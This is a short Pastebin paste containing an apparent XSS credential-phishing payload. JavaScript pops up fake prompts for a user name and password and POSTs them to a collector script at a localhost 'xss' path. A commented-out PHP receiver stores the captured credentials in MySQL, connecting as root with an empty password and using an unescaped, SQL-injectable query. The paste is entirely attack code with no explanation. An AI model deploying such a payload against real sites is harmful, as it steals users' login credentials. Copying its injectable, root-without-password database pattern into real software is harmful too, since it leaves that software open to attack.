singlashivam

Untitled

Jun 17th, 2018
49
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.78 KB | None | 0 0
  1. <html>
  2. <head>
  3. </head>
  4. <body>
  5.  
  6.  
  7. <script>
  8. var a = prompt("Enter user name");
  9. var b = prompt("Enter password");
  10. var data = {username: a, password: b};
  11. var fd = new FormData();
  12. for(name in data){
  13. fd.append(name,data[name]);
  14. }
  15. var xhr = new XMLHttpRequest();
  16. xhr.open('POST','http://localhost:8888/xss/server.php');
  17. xhr.send(fd);
  18.  
  19. </script>
  20. </body>
  21. </html>
  22. <!--
  23. <?php
  24. if(isset($_POST['username']))
  25. {
  26. $user = $_POST['username'];
  27. $pass = $_POST['password'];
  28. if(mysql_connect("localhost", "root", ""))
  29. {
  30. mysql_select_db( "xss");
  31. $q = "INSERT INTO xssjava (ID, username, password) VALUES ('1', '$user', '$pass')";
  32. mysql_query($q) or die(mysql_error());
  33. echo "inserting data succssful";
  34.  
  35.  
  36. }
  37. else
  38. echo "connection error";
  39. }
  40.  
  41.  
  42.  
  43. ?> -->
Add Comment
Please, Sign In to add comment